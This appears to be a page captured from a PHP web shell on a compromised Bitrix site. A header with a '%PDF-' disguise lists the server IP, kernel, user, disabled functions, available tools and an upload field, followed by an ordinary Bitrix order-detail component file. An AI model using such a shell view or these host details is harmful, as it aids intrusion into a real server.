%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.14.136.121 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sale.mobile.order.detail/ |
Upload File : |
<?php if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED!==true) die(); if (!CModule::IncludeModule('sale')) { ShowError(GetMessage('SMOD_SALE_NOT_INSTALLED')); return; } $saleModulePermissions = $APPLICATION->GetGroupRight("sale"); if ($saleModulePermissions == "D") { ShowError(GetMessage("SMOD_NO_PERMS2VIEW")); return; } if (!CModule::IncludeModule('mobileapp')) { ShowError(GetMessage('SMOD_MOBILEAPP_NOT_INSTALLED')); return; } if (isset($_REQUEST['id'])) { $orderId = (int)$_REQUEST['id']; } else { $orderId = false; } $arResult['ORDER'] = CSaleMobileOrderUtils::getOrderInfoDetail($orderId); $allowedStatusesView = \Bitrix\Sale\OrderStatus::getStatusesUserCanDoOperations($USER->GetID(), array('view')); $isAllowView = in_array($arResult['ORDER']['STATUS_ID'], $allowedStatusesView); if(!$isAllowView) { ShowError(GetMessage("SMOD_NO_PERMS2VIEW")); return; } if(!$orderId || !$arResult['ORDER']) { if(isset($arParams['ORDERS_LIST_PATH'])) LocalRedirect($arParams['ORDERS_LIST_PATH']); else return; } if (isset($_REQUEST['action'])) $arResult['ACTION'] = $_REQUEST['action']; else $arResult['ACTION'] = ''; //prepare data for payment dialog's checkboxes set if($arResult["ACTION"] == 'get_payment_dialog') { if($arResult['ORDER']['PAYED'] == 'Y') { $arPayParams["TITLE"] = GetMessage('SMOD_PAY_CANCEL'); $arPayParams["ITEMS"] = array( 'pay_from_account_back' => GetMessage('SMOD_PAY_BACK'), 'pay_cancel' => GetMessage('SMOD_PAY_CANCEL') ); } else { $arPayParams["ITEMS"] = array('pay_from_account' => GetMessage('SMOD_PAY_CONFIRM')); $arPayParams["TITLE"] = GetMessage('SMOD_ACCOUNT'); } $arResult["DAILOG"]["PAY_CB"] = $arPayParams; } CJSCore::Init('ajax'); $arResult['CURRENT_PAGE_PARAM'] = $APPLICATION->GetCurPageParam(); $arResult['CURRENT_PAGE'] = $APPLICATION->GetCurPage(); $arResult['AJAX_URL'] = $componentPath."/ajax.php"; $saleModulePermissions = $APPLICATION->GetGroupRight("sale"); $arStatusList = False; $arStatFilter = array("LID" => LANG); $arGroupByTmp = false; if ($saleModulePermissions < "W") { $arStatFilter["GROUP_ID"] = $GLOBALS["USER"]->GetUserGroupArray(); $arStatFilter["PERM_STATUS_FROM"] = "Y"; $arStatFilter["ID"] = $arResult['ORDER']['STATUS_ID']; $arGroupByTmp = array("ID", "NAME", "MAX" => "PERM_STATUS_FROM"); } $dbStatusList = CSaleStatus::GetList( array(), $arStatFilter, $arGroupByTmp, false, array("ID", "NAME", "PERM_STATUS_FROM") ); $arStatusList = $dbStatusList->GetNext(); if ($arStatusList) { $arFilter = array("LID" => LANG); $arGroupByTmp = false; if ($saleModulePermissions < "W") { $arFilter["GROUP_ID"] = $GLOBALS["USER"]->GetUserGroupArray(); $arFilter["PERM_STATUS"] = "Y"; } $dbStatusListTmp = CSaleStatus::GetList( array("SORT" => "ASC"), $arFilter, $arGroupByTmp, false, array("ID", "NAME", "SORT") ); while($arStatusListTmp = $dbStatusListTmp->GetNext()) $arResult['STATUSES'][] = $arStatusListTmp; if(!isset($arParams['MENU_ITEMS']['STATUS_CHANGE']) || $arParams['MENU_ITEMS']['STATUS_CHANGE'] != false) $arResult['MENU_ITEMS'] = array("STATUS_CHANGE"); $arStatusesData = array(); foreach ($arResult['STATUSES'] as $key => $status) $arStatusesData[$status["ID"]] = $status["~NAME"]; $arResult["DAILOG"]["STATUSES"] = array( "ITEMS" => $arStatusesData, "TITLE" => GetMessage('SMOD_STATUS'), "RADIO_NAME" => "radio_statuses", "SELECTED" => $arResult['ORDER']['STATUS_ID'] ); } $bUserCanPayOrder = CSaleOrder::CanUserChangeOrderFlag($orderId, "PERM_PAYMENT", $GLOBALS["USER"]->GetUserGroupArray()); if($bUserCanPayOrder && (!isset($arParams['MENU_ITEMS']['PAYMENT']) || $arParams['MENU_ITEMS']['PAYMENT'] != false)) $arResult['MENU_ITEMS'][] = "PAYMENT"; $bUserCanDeliverOrder = CSaleOrder::CanUserChangeOrderFlag($orderId, "PERM_DELIVERY", $GLOBALS["USER"]->GetUserGroupArray()); if($bUserCanDeliverOrder && (!isset($arParams['MENU_ITEMS']['DELIVERY']) || $arParams['MENU_ITEMS']['DELIVERY'] != false)) $arResult['MENU_ITEMS'][] = "DELIVERY"; $bUserCanDeductOrder = CSaleOrder::CanUserChangeOrderFlag($orderId, "PERM_DEDUCTION", $GLOBALS["USER"]->GetUserGroupArray()); if($bUserCanDeductOrder && (!isset($arParams['MENU_ITEMS']['DEDUCTION']) || $arParams['MENU_ITEMS']['DEDUCTION'] != false)) $arResult['MENU_ITEMS'][] = "DEDUCTION"; $bUserCanCancelOrder = CSaleOrder::CanUserCancelOrder($orderId, $GLOBALS["USER"]->GetUserGroupArray(), $GLOBALS["USER"]->GetID()); if($bUserCanCancelOrder && (!isset($arParams['MENU_ITEMS']['ORDER_CANCEL']) || $arParams['MENU_ITEMS']['ORDER_CANCEL'] != false)) $arResult['MENU_ITEMS'][] = "ORDER_CANCEL"; if(isset($arParams["SHOW_UPPER_BUTTONS"]) && $arParams["SHOW_UPPER_BUTTONS"] != 'Y') $arResult["SHOW_UPPER_BUTTONS"] = false; else $arResult["SHOW_UPPER_BUTTONS"] = true; $this->IncludeComponentTemplate(); ?>